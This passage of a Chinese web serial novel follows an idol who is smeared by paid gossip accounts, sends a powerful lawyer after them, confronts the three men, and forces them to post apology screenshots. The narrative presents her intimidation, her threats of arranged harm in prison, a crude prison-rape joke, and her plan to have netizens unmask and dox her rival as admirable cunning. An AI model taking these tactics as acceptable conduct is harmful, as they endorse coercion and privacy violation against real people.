更有不少路人将她的表演与内娱其他女爱豆对比,直言:“近几年看过太多流水线女团舞台,温栩栩这种有个人特色、又能把多种风格驾驭得游刃有余的爱豆,真的堪称内娱天花板了”。 而温栩栩在舞台上的表现,也成功带火了与她相关的作品。 她与墨澜共同出演的悬疑剧《灵媒》热度再度飙升,不少观众在看完演唱会后开始期待温栩栩和墨澜的《灵媒》,《灵媒》又一次未播先火了。 就像苏婉担心的那样,温栩栩还是火了。 第1243章 别来污染娱乐圈了 舞台直播结束后的微博热搜榜,宛如一场精心编排的狂欢盛宴,清一色的话题都与温栩栩有关。 #香香软软大美人温栩栩# #温栩栩墨澜# #苏婉花式变脸# 词条霸占前排,粉丝们疯狂刷屏安利自家“仙女姐姐”。 超话里,各种无死角的美图被抛出来,粉丝们暴风哭泣:“温栩栩是什么绝绝子大美女!我不允许还有人不知道这样的美人!” “星河万里不及她!每天都在为我的崽崽疯狂尖叫!” 而在这场狂欢的另一面,苏婉坐在昏暗的房间里,死死盯着手机屏幕上那些刺眼的赞美。 她精心设计的妆容此刻显得格外扭曲,唇角抽搐着,双眼赤红。 直播时,她数次因为温栩栩的舞台表演而变脸冷笑,那些表情被镜头捕捉下来,此刻正被网友嘲讽:“就这接受度和心理素质,还混什么圈?回家种地找个厂子上班吧!” 热搜的对比如同一把锋利的刀,将温栩栩捧上云端,将苏婉踩入泥潭。 她看着粉丝脱粉的留言,一颗心“咯嘣”碎成了渣渣。 “凭什么?”她咬着牙,指甲深深掐进掌心,渗出血丝。 她抓起手机,登陆微博小号,联系了几个收钱办事的大V号:“把那些照片都发过去,温栩栩劈腿六十岁老男人……对,越夸张越好!” 夜色渐深,微博的风向突然骤变。 原本铺天盖地的夸奖中,突然冒出几个刺眼的词条: #温栩栩夜店# #温栩栩未婚夫六十岁老男人# 【影视圈八卦君】:《灵媒》女主角温栩栩曾在夜店与多人发生关系,是清纯女神还是夜店女王? 【娱乐圈小兔】:据悉,温栩栩未婚夫是一名六十岁的“成功企业家”,能在刚出道就被邀约演出《灵媒》,是否背后真的有资本强捧? 配图是几张模糊的夜店照片,正是当初她被王双双设计陷害时拍下的。 照片中的她穿着简约,却被恶意剪辑成与男人举止亲密的模样。 温栩栩的公寓里,落地窗外的城市夜景流光溢彩,她却坐在沙发上,手机屏幕映出她清冷绝美的脸。她看着那些大V号天花乱坠的爆料,唇角勾起一抹讥讽的冷笑。 “这就憋不住了?”她低声自语,指尖轻点屏幕,将那些照片放大。 那些画面,她记得清楚,所谓“暧昧对象”,不过是她在夜店打工时遇到的醉酒客人,而她只是冷漠地推开他们。 “苏婉啊苏婉……”她眯起眼,眸底闪过一丝寒意。 她早已料到,这位表面温柔善良的“前辈”,不会甘心看着她风光无限。 手机突然震动,一条加密消息弹出。是墨澜。 「需要帮忙处理?」 温栩栩盯着那简洁的询问,手指在键盘上停顿片刻,最终只回了一个字:「不用。」 这种小事,还轮不到墨澜出马呢。 温栩栩懒洋洋地倚在宿舍的沙发上,指尖漫不经心地在手机屏幕上划动。 热搜词条上刺眼的标题仍在不断刷新,她轻嗤一声,修长的手指按下拨通键,声音清冷如冰:“宋律师,我是温栩栩。网上的风向和热搜词条想必您已经看到了?现在帮我立刻报警,并发律师函给那几个大V号。另外,私下联系他们,借着黎云笙的名头恐吓一番,送他们吃牢饭。” 宿舍的窗帘半掩着,透进几缕微光,映照着她精致如瓷的侧脸。 她眯起眼眸,眸底闪烁着狐狸般的狡黠。 苏婉以为自己是运筹帷幄的棋手,却不知早被温栩栩算计在棋盘中,每一步都在她的预料之中。 电话那头传来宋婉榕沉稳的声音:“温小姐,您放心,我已经在着手处理了。律师函会即刻发出,同时我会联系警方,确保那几个大V号受到应有的法律制裁。” 温栩栩红唇微扬,满意地挂断电话。 她联系的这位宋律师,可不是普通人,而是黎氏集团的法律顾问。 这位律师经手的官司从未有过败诉,由她出面,就代表了黎氏集团的态度。 这是温栩栩早先在黎云笙那里求来的特权,任意时刻都能调遣宋婉榕为她保驾护航。 微博上的热搜词条仍在持续发酵。 #温栩栩夜店门#、#温栩栩六十岁未婚夫#等话题热度不减。 吃瓜群众们纷纷涌入热搜词条下,对温栩栩的那些“黑料”简直大跌眼镜。 有些因为颜值入坑的粉丝瞬间脱粉转黑,在评论区里愤怒地宣泄着不满: “亏我之前还觉得她清纯漂亮,原来是个夜店女王,还劈腿六十岁老男人,简直恶心!” “娱乐圈果然都是表面一套背后一套,这种人不配当明星!” “粉转黑了,退圈吧,别来污染娱乐圈了!” 各路牛鬼蛇神在微博上跳脚,自诩正义之士,举着“道德”的大旗对准温栩栩发射他们的子弹,维护他们所谓的“和平正义”。 键盘侠们仿佛找到了发泄的出口,一条条恶评如潮水般涌来,将温栩栩的名字与“荡妇”“拜金女”等污名牢牢捆绑在一起。 温栩栩看着那些恶评,嘴角勾起一抹玩味的笑。她并不急于回应,因为她知道,好戏才刚刚开始。 就在这时,微博上一则动态如同巨石投入池塘,激起千层浪。 业内有名、从未败诉的宋婉榕律师转发了几位大V号微博发送的关于造谣温栩栩劈腿、未婚夫是六十岁老男人的信息,只简短发表意见:“造谣诽谤,法庭见。” 宋婉榕的微博一出,微博路人的心瞬间跟明镜儿似的。 这位上过各类法律节目并接受各类采访的小有名气的律师,向来以严谨和专业著称。 她转发这类信息并说出“造谣诽谤”这话,就代表那几个大V号的信息全部都是杜撰或者全都是假的。 吃瓜群众们瞬间傻了眼,瓜才刚吃几口就出现了惊天大反转,微博路人有些吃不消。 原本一边倒的讨伐声浪开始出现动摇,评论区里质疑的声音越来越多. 第1244章 造谣一时爽 “宋律师都出面了,这应该是假的吧?” “我记得宋律师从来没打输过官司,她这么说肯定有证据。” “难道我们都被大V号带节奏了?” 而那几个大V号此刻却是瑟瑟发抖。 他们怎么也没想到,温栩栩背后真正的资本靠山竟然是黎氏! 宋婉榕出面了! 宋婉榕是黎氏的法律顾问专用律师,旁人大价钱都不一定能请来的律师,但凡是她接触的都是跟黎氏盛世有关的案子。 他们当初敢接苏婉这一单,看中的就是温栩栩背后没有靠山,可谁能想得到会炸出来一个宋婉榕! 早说温栩栩是黎氏那边的人,谁还敢搞她! 几个大V号苦不堪言,纷纷删除了造谣信息,并直接微博道歉。 但事情闹到这么大,只简单道歉就想翻篇是绝不可能的。 删信息也没用,互联网是有记忆的,那些截图和录屏早已在网络上疯传。 温栩栩看着手机上的最新动态,嘴角的弧度更大了。她知道,这场舆论战,她已经赢了。 宋婉榕的出手,不仅彻底扭转了舆论风向,更向整个娱乐圈宣告了她的后台是黎氏集团。那些曾经对她冷嘲热讽、落井下石的人,此刻恐怕都在瑟瑟发抖吧。 此刻的微博热搜榜上,风向已经彻底逆转。 #温栩栩被造谣#、#宋婉榕律师出手#、#黎氏集团护航#等话题迅速登顶。 吃瓜群众们开始纷纷倒戈,支持温栩栩维权: “支持温栩栩维权!造谣者必须付出代价!” “宋律师威武!娱乐圈就需要这样的正义之声!” “那些大V号为了流量什么都编,太可恶了!” 而苏婉,此刻正躲在房间里,脸色煞白地看着手机屏幕。 她怎么也没想到,自己精心策划的一切,竟然会被宋婉榕的出现彻底打破。 她颤抖着手指,拨通了王双双的电话:“你不是说温栩栩没有后台吗?黎氏集团是怎么回事!” 电话那头传来王双双惊慌的声音:“我……我也不知道啊!我查过她的背景,和黎氏应该没关系啊!” 苏婉愤怒地摔了手机,碎片四溅。她知道自己完了,这次不仅没能扳倒温栩栩,反而让自己陷入了更大的危机。 她必须想办法补救,否则等待她的,将是无尽的深渊。 而温栩栩,此刻正坐在沙发上,悠闲地刷着微博。 她看着那些大V号的道歉声明,嘴角勾起一抹嘲讽的笑。 这仅仅是个开始。接下来,她会让他们知道,什么叫做真正的代价。 【温暖的小太阳】:笑死,造谣一时爽哦~ 【放飞自我的小羽毛】:互联网没有记忆吗?只删了造谣信息难道我们没有截图吗?送你们去死! 粉丝知道是造谣早已经原地爆炸,这类营销大V号做这一行赚的就是这一行的钱,怎么可能怕粉丝问候祖宗十八代?他们怕的是黎氏怕的是宋婉榕。 但转念一想删都删了难不成你还要人肉信息不成?这可是犯法的。 宋婉榕总不能知法犯法。 现实中的【影视圈八卦君】李杰、【娱乐圈小兔】于海洋与【八卦放大镜】孙恒正窝在城中村某栋旧公寓里。 这间出租屋像被遗忘的杂物间,霉味与烟味在空气里纠缠不清。 窗帘终日紧闭,只有电脑屏幕的幽蓝冷光在三人脸上明明灭灭地跳动。 外卖盒、啤酒罐堆在墙角,像一座座小山;键盘上油渍斑斑,鼠标垫上粘着可疑的污渍。 空调发出老旧的风声,仿佛在喘息着这间屋子的疲惫与不堪。 孙恒咬着瓶冰啤,泡沫顺着嘴角流下,在胡茬上泛起白沫。他穿着件洗得发灰的汗衫,领口已磨出毛边,松垮垮地挂在身上。手指因常年敲键盘已微微变形,指甲缝里嵌着黑垢。他瞥了眼桌上散落的截图,嗤笑道:“这都不算事儿,以前那么多律师函在微博@我们,删了信息后也没几个真找上门来。律师函?那玩意儿就跟废纸似的,吓唬吓唬新人还行。”他仰头灌下一大口啤酒,喉结滚动着,喉间发出满足的咕咚声。 李杰正啃着猪蹄,油顺着下巴滴在皱巴巴的T恤上,他浑然不觉。圆滚滚的身材挤在塑料凳上,凳子发出不堪重负的吱呀声。 他含糊不清地嘟囔着,满嘴油光:“说的没错,谁有那么多闲工夫拽着我们营销号不放?那些明星不就想我们删了信息道个歉就成?坐到这份儿上了再赶尽杀绝那可太不厚道了。”他边说边用油腻腻的手抹了把嘴,又在裤子上蹭了蹭,留下两道油印。 于海洋干完半瓶啤酒,脸颊已涨成猪肝色,额头沁出细密的汗珠。他猛地一拍桌子,震得桌上空啤酒瓶晃了晃,差点滚落下来。 于海洋手指着虚空,仿佛隔着屏幕在指着那些愤怒的网友:“温栩栩就是刚出道的新人,她动动脑子也知道不能惹恼我们这些营销号,不然以后有她受的!”他越说越激动,声音尖利起来,唾沫星子飞溅在桌上。 “对!有她受的!”三人碰了碰杯子,啤酒沫在杯沿溢出,顺着杯壁流下,像极了他们此刻麻痹的神经。 他们仰头灌下啤酒,喉间发出粗鲁的笑声,仿佛微博上那场因他们而起的腥风血雨不过是场闹剧,此刻已与他们无关,消散在虚拟世界的尘埃里。 窗外夜色渐浓,霓虹灯的光影透过窗帘缝隙,在屋内投下斑驳的光怪陆离的色块。 这间屋子仿佛被世界遗忘,只有他们三人,以及那些未删干净的谣言残片,在黑暗里沉浮。 “哒哒哒”一阵突兀的敲门声突然响起,打破了屋内的混沌。 于海洋醉眼朦胧地晃了晃脑袋,舌头打结道:“谁……谁这时候过来了?”他扶着桌子推了李杰一把,力道大得让李杰一个趔趄,“去!去看看去!”李杰摸着被撞疼的后脑勺,嘟囔着:“肯定是我订的麻辣小龙虾到了,我这就去开门。” 第1245章 无形的刀 他摇摇晃晃站起来,像只笨拙的企鹅,走一步软一下,边走边嘿嘿直笑,笑声里带着醉意与期待。 他整张脸都被酒气熏得通红,像是涨红快要爆的红色水气球,连眼白都泛着血丝。 他走到门前,看也不看便一把拉开,扶着门把手道:“把东西放下就走吧。”声音带着不耐烦与醉醺。 然而,门外站着的却不是送餐员,而是两个身着笔挺西装、面容冷峻的男人。 他们身后,站着一位女子,正是被谣言中伤的温栩栩,她身旁是黎氏集团的法律顾问,面容沉静如水。 李杰的酒意瞬间醒了大半,脸上的笑意僵住了,像被突然按了暂停键。 他张了张嘴,却发不出声音,喉间像被什么哽住了。 门外的冷风灌进来,吹得屋内散乱的文件哗啦啦作响,那些未删干净的谣言截图在风中飘摇,像一群无处栖息的幽灵。 宋婉榕踏入这间弥漫着酸腐酒气的出租屋时,高跟鞋敲击地面的清脆声响。 她身着一套剪裁利落的职业正装,内扣齐肩的半长发被一丝不苟地梳在耳后,露出饱满光洁的额头。 那张脸算不上惊艳,却带着令人过目难忘的英气,眉峰如剑,眉梢微微上挑,仿佛天生带着一股子不怒自威的凌厉。 此刻,她手中攥着三份烫金的律师公函,目光如冰,径直射向瘫在墙角、醉眼朦胧的李杰。 李杰身上的酒臭味熏得她眉头不自觉地皱紧,她下意识地后退半步,厌恶地掩了掩口鼻。 李杰正闭着眼睛靠着墙,满心以为门外是迟到的外卖小哥。 等半天没听见预料中的“东西放这儿了”和关门声,他耐不住性子,暴躁地睁开眼,打算破口大骂。 “你他妈!”粗俗的咒骂刚冲出口,却在看清眼前人时戛然而止。 面前女人微眯着双眸,满脸不悦,浑身散发着危险的气息。 李杰双腿一软,整个人如遭雷击般僵在原地,舌头打结,声音颤抖:“宋婉榕!” 醉意瞬间被冷汗冲刷得干干净净,仿佛大冬天被人一脚踹进冷冻冰窖,冻得浑身一哆嗦,酒气全消。 宋婉榕身后两名黑衣保镖如影随形,其中一人迅速掏出一个银色小喷壶,对着李杰周身“滋滋”喷出一阵消毒酒精。 细密的水雾裹挟着刺鼻气味扑面而来,李杰吓得猛地往后缩,后背紧贴着墙壁,惊惶地喘着粗气,连气都喘不匀实。 他瞪大双眼,眼珠因惊恐而凸起,嘴唇颤抖着,却再不敢发出半点声响。 宋婉榕微一侧头,朝身后瞥去,声音冷得像淬了冰:“温栩栩,这就是你想见的几位‘营销大V号’。” 话音未落,李杰脑中轰然炸开——温栩栩也来了!这简直是社死现场! 他浑身血液仿佛凝固,醉意彻底消散,只剩无尽的恐慌。 还坐在大厅里吃吃喝喝的于海洋和孙恒,早被李杰那声惊恐的呼喊吓得蒙了。于海洋举着半瓶啤酒僵在半空,啤酒顺着瓶口缓缓滴落,在油腻的桌面上晕开一片水渍。 孙恒则猛地一哆嗦,手中的啤酒瓶“哐当”一声砸在地上,褐色的液体溅得满地都是。 宋婉榕那句“温栩栩”如一道惊雷,孙恒身子一软,整个人像一滩烂泥般“啪嗒”摔到地上,眼冒金星,半天爬不起来。 温栩栩从宋婉榕身后踱步而出,她随意穿了身宽松的棒球服,头戴一顶黑色棒球帽,帽檐压得很低,遮住大半张脸。 此刻,她缓缓抬起头,摘下棒球帽拿在手中把玩,露出一张精致小巧的脸蛋。 她细细打量着眼前被吓到的几人,那双漂亮的眼睛里闪过一道意味深长的光芒,似笑非笑,带着几分戏谑与冷意。 “各位在网络上编排得还开心吗?”她语气轻飘飘的,却字字如刀,刺向三人。 她随意扯过一把椅子,特意朝宋婉榕的保镖借了小喷壶,对着椅子“滋滋”喷了消毒酒精。 酒精在灯光下泛着细碎的光,她接着抽出纸巾,耐心地擦拭干净,方慢悠悠坐下。 她左腿搭在右腿上,姿态随性而慵懒,那张漂亮的脸蛋上满是兴味,红唇轻启,慢悠悠道:“需不需要我现场给你们爆点别的更刺激的料?” 李杰闻言,脸色瞬间煞白如纸,额头沁出细密的冷汗。 他嘴唇颤抖着,想要反驳,却发不出半点声音,喉咙像被一只无形的手扼住。 于海洋僵在原地,手中的啤酒瓶“啪嗒”一声滑落在地,啤酒溅了他一裤腿,他却浑然不觉。 孙恒瘫坐在地,后背紧贴着墙,眼神空洞而惊恐,仿佛被抽去了所有力气。 他们这才明白,自己以为的“小把戏”,早已被对方看得一清二楚,而他们此刻,就像三只被剥光了衣服、暴露在聚光灯下的跳梁小丑,无处遁形。 温栩栩的手指有一搭没一搭地敲着椅背,发出清脆的“哒哒”声,在这寂静的屋子里格外清晰。 她目光扫过三人,嘴角勾起一抹嘲讽的弧度:“造谣的时候,没想过会有今天吧?”她的声音很轻,却像一记重锤,砸在三人心头。李杰张了张嘴,想要狡辩,却只发出沙哑的呜咽声,喉咙里像堵着一团棉花。 于海洋浑身发抖,双手死死攥着桌沿,指节泛白,指甲缝里嵌进木屑也浑然不觉。孙恒则彻底瘫软在地,眼神涣散,仿佛灵魂已被抽离。 温栩栩非常大方的歪头冲几人露出无死角的迷人微笑,“来啊,你们问什么我答什么。” 她嘴角扬起完美的弧度,眼神却像淬了冰,仿佛一只优雅的猫在戏弄濒死的猎物。 孙恒扶着椅子哆哆嗦嗦想站起来,膝盖却止不住发软,整个人像一团颤抖的烂泥。温栩栩慢悠悠转着椅子,一脚踩在孙恒肩上,鞋跟与布料摩擦发出刺耳的声响,声音幽幽缠绕在三人耳边,“我让你们问我问题,怎么都不说话呢?是哑巴了?还是看不起我?” 她尾音微微上扬,带着刺骨的寒意,仿佛一把无形的刀悬在三人头顶。 第1246章 当傻子糊弄了 知道你背后是黎氏谁他妈还敢看不起你啊! 孙恒心里疯狂咒骂,脸上却堆起比哭还难看的笑容,声音打着颤,“温栩栩老师,您看要不您先让我起来说话?”他努力挤出讨好的语气,喉咙却像被砂纸磨过般沙哑。 “你这人真是有意思,我让你问我问题你不问却还想起来……”温栩栩俯身嗤笑一声,发丝垂落肩头,在灯光下泛着冷冽的光。 她指尖轻敲椅背,眼神如刀锋般刮过孙恒颤抖的脸,“难道你们营销号的钱就是这样瘫在地上轻松挣来的,要起来做什么?” 她语气轻飘飘的,却字字如锤,砸得孙恒脸色惨白。 于海洋哭丧着脸,嘴唇哆嗦着,啤酒顺着下巴滴落,在油腻的裤子上晕开一片暗色,“温栩栩老师,您有什么说什么就行我们肯定都照做的!”他双手死死攥着桌沿,指节泛白,仿佛抓住最后一根救命稻草。 温栩栩听到笑话似的转眼瞧向他,眉梢轻挑,红唇勾起一抹嘲讽的弧度,“我看你们真的是很没有脑子呢”她脚上力道加重,鞋跟陷入孙恒肩头的布料,声音放轻却又自带几分压迫,“我为什么来这里找你们……你们难道不知道原因吗?” 她尾音拖长,带着明显的讥诮。 真要说不知道原因那准是拿温栩栩当傻子糊弄了! 李杰、于海洋、孙恒三人心头狂跳,冷汗浸透后背,仿佛被剥光衣服扔进冰窖。 他们这才明白,自己以为的“小把戏”,早已被对方看得一清二楚。 宋婉榕冷眼看着面前这一幕,眼神如寒冰般扫过三人。 她推了推金丝眼镜,镜片折射出冷冽的光,声音如铁,“做了这种事以为删除造谣信息还有心情吃小龙虾,你们是瞧不起我还是瞧不起黎氏。” 她语气平静,却带着令人窒息的威压。 三人几乎要瑟瑟发抖,膝盖一软,几乎要跪倒在地跪求大魔王放过他们。 宋婉榕面无表情,从公文包里抽出三份律师函,纸张在灯光下泛着冷光,“依据《刑法》第246条,诽谤罪是指故意捏造并散布虚构的事实,足以贬损他人人格,破坏他人名誉,情节严重的行为。犯本罪的,处三年以下有期徒刑、拘役、管制或者剥夺政治权利。” 她逐字逐句念着法律条文,声音清晰如刀,字字剜心。 宋婉榕眼神冰冷,仿佛在看三个将死之人,“你们在圈子造谣其他明星删除信息躲了这么多天每每都心存侥幸,那我不介意为你们好好上一课,让你们知道什么是担当。” 她语气没有一丝起伏,却让人脊背发凉。李杰、于海洋、孙恒三人瘫软在地,如被抽去灵魂的提线木偶。他们这才意识到,自己以为的“躲猫猫”游戏,早已触犯了法律的红线,等待他们的将是冰冷的牢狱之灾。 温栩栩微微一笑,那笑容却如地狱之花般妖艳而致命,“是呢,我和宋律师今天来找你们就是专程给你们三个人送律师函。” 她举起律师函在三人眼前晃了晃,纸张的哗哗声像是死神的召唤。 温栩栩啧了一声,舌尖抵着后槽牙,声音带着戏谑的冷意,“按照宋律师在这圈子的人情关系,最迟下周就能跟你们法院见面送你们进去,三年时间短是短了点,不过若是在里面出点什么事那也是没办法的……你们说是不是。” 她尾音轻飘飘的,却让人毛骨悚然。 温栩栩笑意加深,眼中闪过一丝狠厉,“我会特意找人把你们送进特殊牢狱好好关照的。” 进牢狱还特殊关照……如果把他们跟一些暴虐狂重刑犯关到一起恐怕是噩梦,如果再动用点权利把他们跟外国人关到一起,怕是要捡肥皂了! 三人只是想想就觉得毛骨悚然不寒而栗。 李杰浑身颤抖,酒气全消,脸上血色尽褪,嘴唇哆嗦着说不出话来。 于海洋瘫坐在地,双手捂脸,泪水从指缝间渗出,打湿了油腻的裤腿。 孙恒则彻底崩溃,嚎啕大哭起来,鼻涕眼泪糊了一脸,“我们错了!我们真的错了!求你们放过我们吧!” 见温栩栩还是笑着看着自己,孙恒也不装着哭着求饶了,他抹了把脸上的眼泪突然像抓住救命稻草般匍匐在地,声音带着哭腔:“温栩栩老师,我们有利用价值的!留着我们真的有用!” 他额头顶着油腻的地面,汗水混着灰尘在额头渗出,狼狈不堪。 温栩栩要的就是这种反应。 温栩栩转着手中的棒球帽,帽檐在指尖灵活旋转,她呵笑一声,笑声带着刺骨的寒意:“话要说清楚我才知道你配不配跟我谈是不是真的有什么价值,不是吗。”她眼神扫过三人,如同在看三个待价而沽的商品,带着毫不掩饰的审视。 孙恒也不着急让温栩栩挪开脚了,他死乞白赖开口,声音带着一丝谄媚:“温栩栩老师是圈子里的新人,以后肯定需要我们这种狗仔营销号打听对家信息,必要时放出对家黑料,在温栩栩老师您被黑的时候为您保驾护航进行反击。” 他舔了舔干裂的嘴唇,仿佛已经看到自己成为温栩栩身边红人的场景,“只要温栩栩老师保下我们,我们就是温栩栩老师最忠诚的狗!” 呸,要脸干嘛,只要不进去让干嘛就干嘛! 孙恒彻底不要脸了,他此刻心中只有一个念头:活着,哪怕像条狗一样活着。 温栩栩摸着下巴,唇角笑意收不住,眼中却闪过一丝戏谑。 她慢悠悠道:“好像还不够呢。”声音轻飘飘的,却像一根针扎在孙恒心头。孙恒懵了几秒,额头青筋暴起,绞尽脑汁咬着牙开口:“我还能把爆料人的信息全都给您!能帮您人肉到她所在地!”他眼中闪过一丝狠厉,仿佛要将所有知道的人都拖下水。 于海洋听了这话,猛地拍着脑门骂他,声音带着绝望:“孙恒你还有没有点职业操守了!泄露客户信息,你这是在自寻死路!”他双手捂脸,指甲深深掐进掌心,仿佛要掐出血来。 第1247章 要职业操守干什么! “职业操守?我要职业操守干什么!!干这行的有什么职业操守!谁给好处谁给钱谁就是老大!我要活着,我不要进监狱!难道你想进监狱吗!”孙恒彻底撕破了脸,他猛地跳起来,指着于海洋的鼻子吼,唾沫星子飞溅。 孙恒意识到后骂骂咧咧的站起来指着于海洋吼,“都要进去被人特殊照顾了你还守着那SB的职业操守干什么!要进去你自己进去!老子不陪你!” 他像一只被激怒的野兽,眼中充血,仿佛要将所有的不满都发泄出来。 李杰在一旁和稀泥,他缩着脖子,声音带着一丝讨好:“就是就是,只要不进去把谁供出来都行。” 他油腻的脸上堆满笑容,仿佛已经看到自己逃出生天的场景。 李杰劝于海洋,声音带着一丝无奈:“都干这一行了哪儿还有节操什么的,早喂狗了。”他拍了拍于海洋的肩膀,力道却带着一丝威胁。 于海洋能当这种垃圾营销号整日散播不实言论就知道他也不是什么好人,坚持不了几秒就被李杰孙恒说服了。 他颓然地垂下头,双手无力地垂在身侧,仿佛被抽去了所有的力气。 温栩栩啪啪拍手鼓掌,掌声在寂静的出租屋里格外清脆。 她眼底却不带几分笑意,眼神如刀锋般扫过三人,仿佛在审视三件货物。“宋律师,把那三分律师函暂时先收起来寄存在你那里。” 温栩栩眼尾上挑,唇角带几分讥嘲的笑看着三人。“寄存”二字咬得极重,如同重锤敲在三人心头。 明晃晃的告诉三人她不信任他们,而他们的把柄就握在她手中,敢做出任何对不起她的事情那就直接送进去。 毕竟三个没有职业操守、脸面都不要的地痞无赖一样的营销号嘴里能有几句真话? 握住把柄、拿捏住要害才能更好的控制住他们。 三人面上笑意果然僵了一瞬,如同被瞬间冻结的蜡像。 他们都是江湖老油条了,在娱乐圈这片污浊的泥潭里摸爬滚打多年,早已练就了见风是雨的本事,马上反应过来,温栩栩这哪是要收买他们,分明是要将他们的价值榨干,再像扔垃圾一样丢弃。 此刻,三人的内心如同被投入石块的湖面,泛起阵阵涟漪,这看似是条生路,实则却是更深的深渊。 温栩栩抱着手臂,意气风发地站在他们面前,如同掌控棋局的女王。 她嘴角勾起一抹玩味的笑,声音清脆如玉石相击:“现在马上发道歉微博,并将她与你们联系的微博截图发上去,记得把她的微博名打码。” 三人闻言,面面相觑,面露不解。孙恒试探性地开口:“温栩栩老师,这微博名打码……是为何?直接放出不是更有说服力?” 温栩栩嗤笑一声,笑声里带着毫不掩饰的嘲讽:“你们真当自己是个人物了?住在微博的那些‘正义人士’最喜欢看娱乐圈发生这种事,他们会主动出击充当网警,用他们所谓的高超的电脑技术去除你们打的码,然后再通过各种技术把那人的地址人肉出来。” 她歪头笑的十分无害,眼神却如淬了毒的匕首,“如果微博不打码,不就显得太刻意了?到时候网友一看,哦,原来是你们自导自演的一出戏,目的不就是为了讨好温栩栩吗?那这道歉还有什么意义?” 三人面部表情都没忍住的抽搐了下,心中暗骂:这娘们儿心肠比蛇蝎还毒,每一步都算计得如此精妙,既要达到目的,又不愿沾上丝毫腥臭。 外卖小哥的麻辣小龙虾终于送到了,红彤彤的虾壳堆在一次性餐盒里,散发着诱人的香气。 温栩栩却自然地拉着宋婉榕和保镖,戴着手套开始剥虾,动作娴熟而优雅,格外怡然自得。 她手指灵巧地扭动虾尾,轻轻一拽,完整的虾肉便滑了出来,蘸上酱汁送入口中,满足地眯起眼睛。 这副模样,半点都没有网络上那群人猜测的痛哭流涕和悲秋伤春。 她让宋婉榕在微博转发几人微博并亲自找到几人发律师函,就是为了达到恐吓的目的,让他们为此惶恐不安,在巨大的压力下露出马脚,供出幕后主使苏婉。这看似随意的举动,实则是一场精心策划的心理战,如同温水煮青蛙,让三人在恐惧中逐渐崩溃。 只要那打码的聊天截图被放到网络上,就像投入平静湖面的巨石,一定会激起千层浪。 那些自诩为“网络侦探”的“大神”们,会如闻到血腥味的鲨鱼般蜂拥而至,用各种技术手段解密名字,并人肉出苏婉的地址。 他们就像一群饥饿的秃鹫,在虚拟的世界里肆意撕咬,将苏婉的隐私一点点剥开,暴露在阳光之下。 苏婉是个没脑子的,这种人在宫斗剧里大概在片头曲就没命了。 这样的单细胞生物比草履虫还不如,当然没脑子想到自己用小号上微博也会暴露自己IP地址。 动动脑子就该知道那人是谁了,最近谁跟温栩栩最大仇怨?在公演舞台开始翻白眼、明里暗里针对她的人,不是苏婉还能是谁? 不需要温栩栩再做什么,苏婉自己就会被骂被喷被嘲讽,她做这些是想让温栩栩经历这些,然而却是玩火自焚,火烧到她自己身上。 温栩栩这一招借刀杀人,还真是兵不血刃。 她深谙娱乐圈的生存法则,知道在这个流量至上的时代,舆论的力量足以摧毁一个人。 她巧妙地利用了三人的恐惧,将他们的把柄转化为攻击苏婉的武器。 她就像一位高明的棋手,在幕后运筹帷幄,看着对手一步步走进自己设下的陷阱,却浑然不觉。 这局棋,她赢在了对人性的精准把握和对规则的熟练运用。 孙恒、于海洋、李杰三人此刻如坐针毡。 他们的手指在键盘上颤抖,犹豫着是否要发出那条道歉微博。他们知道,一旦按下发送键,他们的职业生涯将彻底完蛋,但若不照做,等待他们的将是牢狱之灾。 第1248章 你一个三线女艺人骂谁啊! 他们像被困在笼子里的野兽,既无法挣脱,又不愿束手就擒。最终,在温栩栩冰冷的注视下,他们选择了屈服。一条条道歉微博被发出,附带着打码的聊天截图,如同投向平静湖面的石子,瞬间激起了千层浪。 网络上的反应正如温栩栩所料。那些“正义人士”们如同打了鸡血一般,纷纷化身福尔摩斯,对聊天截图进行技术分析。 见到三人乖乖听话,温栩栩面上也多了几分明显的笑意。 三人此刻却如蒙大赦,纷纷瘫倒在地,大口喘着粗气,仿佛刚从鬼门关走了一遭。 宋婉榕冷着脸,将律师函收回公文包。 她推了推金丝眼镜,镜片反射出冷冽的光:“记住,你们现在只是‘暂缓执行’。如果敢有任何异动,这些律师函会立刻变成你们的判决书。” 她的声音如同冰水,浇灭了三人心中最后一丝侥幸。 温栩栩慢悠悠踱步到三人面前,高跟鞋敲击地面的声音如同催命符。她俯身,在孙恒耳边轻声道:“孙恒,你最好祈祷你给的资料足够有用,否则……”她尾音拖长,带着无尽的威胁。 孙恒浑身一震,冷汗浸湿了后背,他忙不迭地点头,声音带着一丝颤抖:“温栩栩老师放心,我一定把知道的全说出来!” 于海洋此刻也彻底屈服,他颤抖着从口袋里摸出一个U盘,声音带着一丝沙哑:“这……这是所有爆料人的联系方式和交易记录,包括……包括之前造谣温栩栩老师的那个。” 他双手奉上,仿佛献祭最后的祭品。 温栩栩接过U盘,嘴角勾起一抹嘲讽的笑:“早这样不就好了,何必受这份罪呢。”她转身将U盘递给宋婉榕,宋婉榕仔细检查后,将其收好。 三人看着U盘消失在公文包中,心中五味杂陈,既有逃出生天的庆幸,又有出卖同行的愧疚,但更多的是对未来的恐惧。 温栩栩拍了拍手,仿佛要拍掉手上的灰尘。 她转身走向门口,临出门前回头瞥了三人一眼,嘴角勾起一抹意味深长的笑:“记住,从现在起,你们就是我的狗。要是敢乱咬人……”她做了一个抹脖子的动作,笑容愈发灿烂。 三人浑身一震,忙不迭地点头,声音带着一丝谄媚:“温栩栩老师放心,我们一定乖乖听话!” 夜色渐深,霓虹灯在窗外闪烁,映在三人惨白的脸上。 他们蜷缩在各自的角落里,像三只被拔掉牙齿的狼,再也不敢发出一点声响。 他们知道,从今晚开始,他们的命运已经被温栩栩牢牢攥在手中,成为她手中的刀,刺向所有她想要刺向的人。 而那条曾经被他们视为捷径的黑暗道路,此刻却成了困住他们的牢笼,让他们在恐惧与背叛中越陷越深。 …… 而三个八卦号发出的微博以及曝光的料也登上了热搜。 微博的服务器在今晚近乎沸腾。 三个营销号如同被无形之手操控的提线木偶,整齐划一地删除了所有关于温栩栩的造谣信息,转而抛出了两张石破天惊的图片。 一张是转账记录,金额赫然显示着六位数,另一张则是与一个打码微博小号的聊天记录,对话内容直指有人花钱买通他们抹黑温栩栩。 截图瞬间如病毒般在社交平台裂变传播,评论区顷刻间化作沸腾的火山口。 “黎氏的宋律师亲自下场发律师函,温栩栩什么背景啊?”某条酸溜溜的评论悄然浮上热搜。 温栩栩的粉丝群瞬间炸开了锅,键盘声如暴雨倾泻: 